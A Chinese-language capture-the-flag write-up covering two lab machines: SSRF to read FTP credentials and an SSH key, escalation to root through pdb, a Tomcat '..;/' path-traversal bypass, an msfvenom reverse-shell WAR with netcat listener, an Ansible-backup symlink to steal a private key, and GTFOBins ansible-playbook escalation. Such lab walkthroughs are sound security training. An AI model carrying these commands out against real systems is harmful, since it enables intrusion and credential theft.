迷糊的提权方式以及利用ssrf到最终提权靶机

白帽子社区

共 4348字,需浏览 9分钟

 ·

2022-02-02 01:29

文章首发于:先知社区

https://xz.aliyun.com/t/10811

目标是国外靶场

打过才知道 学的知识太少了师傅们看看就行 大家都会 要是描述得不对的地方 求指点

本地环境:kali

首先是通过ssrf拿下的靶机

第一台

因为是连了vpn的所以可以直接扫目标 ip:10.10.11.111

拿到目标 只有ip 那就先扫端口

nmap -v -sSV -Pn 10.10.11.111 -T4 -sC

37023c7b478a4b3296bc00f2f18b710b.webp

没啥信息 只有80端口 那就打开web看看直接访问10.10.11.111

直接访问不了 添加host头

echo “10.10.11.111 forge.xxx” >> /etc/hosts

然后再次访问,能访问了 发现有个上传的地方

19ba6134faab8b6778aa039ed40e5899.webp

上传试试

9854b1b08223ed01afb9b82299b85bd6.webp

发现重命名的后缀名 不解析 上传应该是没办法了 找找其他突破先扫扫目录 和子域名目录:gobuster dir -u http://forge.xxx/ -w /usr/share/wordlists/dirb/common.txt

bd8fe6a5645bb8958651c9c3fc97cae2.webp

子域名:wfuzz -c -u “http://forge.xxx/“ -H “Host:FUZZ.forge.xxx” -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt

de78c9fdb19e9dc3bd136710ddc59d6b.webp

目录没扫出什么 扫到一个子域名 先进入看看还是不能直接访问 先加入到hostecho “10.10.11.111 admin.forge.xxx” >> /etc/hosts

提示只能本地访问

2d60813830785820a52cb37187fba850.webp

尝试加上X-Forwarded-For:127.0.0.1绕过失败。但是前面那个上传的地方 还有一个上传路径的地方

5eee360e996f900da906406b1dc7245b.webp

但是直接上传会提示是黑名单地址

9028e3884464f29aa3f634be742fa31e.webp

既然是黑名单 我们尝试绕过

78c80b9741361eae4ac63bb0a69e6d15.webp

大小写绕过了:http://aDmin.forGe.xxx/然后访问页面发现报错

683e6d372f23b48d000862edec21afa4.webp

然后通过抓返回包发现一个路径

e138a64a1db2815e55564ed0c8a95b1f.webp

然后继续通过ssrf访问这个路径 继续进行抓包http://aDmin.forGe.xxx/announcements97ad6a89a9f7c5676c7b3072e965a6a1.webp

然后访问路径抓取返回包 获得了ftp的密码

fd47146b0812ee2e7969c07c2694d688.webp

user:heightofsecurity123!以及获取/upload目录API用法,u=urlhttp://aDmin.forGe.xxx/upload?u=url

然后结合起来读取ftpftp://user:heightofsecurity123!@FORGE.xxx

http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx

cad4e393c5da921d3b9f1a6eac4fb8fb.webp

然后继续bp抓返回包

3da0db3618635f454082a7cecfd44d77.webp

可以成功访问到,也就是说我们现在可以利用ssrf读取系统文件了。user.txt在这就说明现在已经是用户家目录了。读取ssh私钥http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx/.ssh/id_rsa

328383f5107c90bf89de5bc5dfb8cf21.webp

用同样的方法读取

0a6b7aa751f3af1efad183b5c70ce126.webp

然后保存id_rsa

77d7d09a8eed59c5571055c0ba92f3f9.webp

然后ssh连接ssh -i id_rsa user@10.10.11.111

ce712a897be09984b7fbf15192ba0b68.webp

成功连接上来

35031c2108c1a6883d9dd18e8a247942.webp

提权

sudo -l

发现一个不需要密码执行的py文件

5f58818169a8d5cc0a4c253f2f63388f.webp

然后看下这个文件

ce17554b29e6f8f234466133eabf033c.webp

发现是建立socket链接 监听40433端口 那就先执行这个py文件看看先执行py文件看看 然后在用nc连接

501d4fe3d24cdca501f91ff10db4ecda.webp

然后在随便输入的时候 发现会调用pdb调试pdb模式下是可以执行python代码的。于是直接给bash加上suid提权

b332a28d39bb320d7e204aa45e05d5cf.webp

pdb:pdb是The Python Debugger的缩写,为Python标准库的一个模块。该模块规定了一个Python程序交互式源代码调试器,支持设置断点,也支持源码级单步调试,栈帧监视,源代码列出,任意栈帧上下文的随机Python代码估值。

到此 这一台也就提权完毕

第二台 利用ansible-playbook提权

第二台

目标ip:10.10.10.250 拿到目标还是先扫描端口 进行信息收集

70a5b2e009cb47e269ec59a16dcb881d.webp

输入命令:

nmap -v -sSV -Pn 10.10.10.250 -T4 -sC

发现开了22 443 8080直接先打开8080端口看看

4b9f4008bf0c12348af24cd04c05ddd1.webp

发现是一个登陆框 cms是 gitbucket试了下弱口令 发现不存在 那就注册一个

4b9f12cc3ecc767f1cc982cf3bb35192.webp

注册之后然后登录

641bfbb1d7f7bcba84da4f0b522277ac.webp

这应该是一个代码仓库

eeddcfe238ae5c30552feb3a993c5e20.webp

因为前面还有443端口开发 打开443端口看看

69dd8291b462644a95c88e2f90c1b661.webp

之前nmap扫描出443端口,但是无法访问https,写入hosts尝试登录添加到host 因为扫描出有一个seal.xxx

22dd73071a997355cd43b3fe1d9286b4.webp

echo 10.10.10.250 seal.xxx >> /etc/hosts

是一个商城 那8080 的的确是443的代码库

然后继续翻代码库 通过找最近commits 在tomcat里面翻到了账户密码

bd5b2959678d90993b9d74b9d7ce14f5.webp

567799b38a674b9548590851d2884c52.webp

http://10.10.10.250:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7username = tomcatpassword = 42MrHBf*z8{Z%尝试访问tomcat默认登录目录/manager/statushttps://seal.xxx/manager/status

a3ea34745a323e498a9fa544d62d49c7.webp

输入找到的账户密码 成功登录

8825ec7afb68e8c70dc505015b3b00a3.webp

因为前面根据nmap 扫描出tomcat是通过反代的 这样会存在一个问题这个问题这里参考https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/管理界面/manager/html无法访问显示权限不够

0f7ca2dd10917aab89930333834848ac.webp

这里就可以利用tomcat 和反代的漏洞 用..;/绕过

e0463d636be791aa308ca96e507862cc.webp

https://seal.xxx/manager/status/..;/html 然后这里有一个上传的地方

1a1aa629b9ebc3272f72876152e74b2d.webp

然后打包一个war包的shell上传

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o shell.war

在上传之前,请记住一件事。这里存在路径遍历漏洞。所以,你不能直接上传.war文件。唯一的过程是在上传之前修改路径,因此我在Burpsuite中拦截了上传请求以进一步修改。

67b76c0ac0747f63d44166e427f21f12.webp

9f253fc52ce04ece047f1f1e44081773.webp

上传之后 开启监听 然后访问 https://seal.xxx/shell/

kali输入命令:

nc -lvvp 6666


f93e54abc4b079165c2986362565177e.webp

1f175449ec6e9bec7501c67dbcf6148a.webp

发现还有个luis 这个开始在8080端口里面也发现了

6dad9bc407466a95a7c9b16769d5cf08.webp

然后在lusi目录下发现user.txt

50edcf1c69c8ef602b4f5b808239f4cb.webp

命令:

find / -name user.txt

但是查看user.txt的时候发现没有权限

5b9dda6b1ca27f59821b608b256b34db.webp

需要提权了

提权

在查看进程的时候发现了一个有趣的进程

17fb9ba1272dc24f67c03d7cd4e3927d.webp

命令:ps aux | grep root

然后我们看看run.yml文件

6310f3fcd7edda158beb4db1011b6838.webp

发现tomcat只有读的权限

cat /opt/backups/playbook/run.yml

046372f09993c319de8011cd2157a42d.webp

第 4 行至关重要。看起来这里脚本copy_links=yes在src和dest文件之间建立了符号链接(As )。然后在第 8 行,它/opt/backups/archives以 gzip 格式备份文件。检查/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录,

b2a62f853c77348188d48c2e067aa89e.webp

发现只有uploads目录可写网上了解搜索一下ansible playbook:https://blog.51cto.com/u_9019400/2385520这个yml是在做文件备份所以创建一个指向luis的id_rsa的软链接文件,我们可以把它放到/uploads目录中命令:ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa然后可以在/opt/backups/archives下看到gz文件 然后解压

1aa6f9209fbb10f5866b86bb0dc7961a.webp

然后将压缩文件复制到tmp目录下

59030d9277fd72924ba3b76a61574694.webp

然后解压

a585bb5a3437d613a6aff98cc8388951.webp

命令:tar -xvf t.tar.gz

切换到uploads目录然后查看id_rsa

d5738794f33251f52b4b2c342a9480e4.webp

保存到本地然后ssh 连接 但是在连接之前 需要给chmod 600

8078705e9fa5af0a699c071803e0e832.webp

93df922b768fc3e88e4ee92eae1b8997.webp

然后成功查看user.txtcat user.txt

3d463949c01c4957cffe6400b34a482f.webp

提权root

第一种提权

sudo -l


c6c08ff775e6f91889d4dcfdffbe88fb.webp

发现luis不用密码就可以以root 执行

sudo ansible-playebook

直接在提权网址发现一个提权方式

4bab62c9d5e8c78a191f223cef2932b2.webp

命令:

TF=$(mktemp)echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]‘ >$TFsudo ansible-playbook $TF

这样提权太快了提权网址:https://gtfobins.github.io/#

第二种提权:

创建一个root.yml文件

caa75051d06867e35717b053e48e87ba.webp

然后:

sudo /usr/bin/ansible-playbook root.yml


5eb6d7c9e5753bc3d977d53d40667633.webp

第三种则是直接复制root.txt 也是创建yml文件

name: Ansible Copy Example Local to Remotehosts: localhosttasks:    name: copying file with playbook    become: true    copy:    src: /root/root.txt    dest: /dev/shm    owner: luis    group: luis    mode: 0777

使用

sudo /usr/bin/ansible-playbook

执行root.yml文件然后在dev/shm下找到root.txt

40b40d0134c03f7b616d75208787a186.webp

总结

通过这两个靶机 还是学到了不少 ssrf的利用 通过返回包看见a标签里面有一个路径 然后ssrf读取 发现密钥 到最后通过 pdb提权以及tomcat的..;绕过的方式 然后上传war 拿下shell 以及后面的利用ansible-playbook提权最后 还是知识面不够阿有什么不足 写得不对的地方 求师傅们指点


往期精彩文章



应急响应场景及排查思路
Linux Polkit Root本地提权 | CVE-2021-4034复现
2022 RealWorld CTF体验赛Writeup
【最新漏洞预警】CVE-2022-22733 ShardingSphere ElasticJob-UI从权限提升到H2 RCE

技术支持:白帽子社区团队— 扫码关注我们 

浏览 99
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报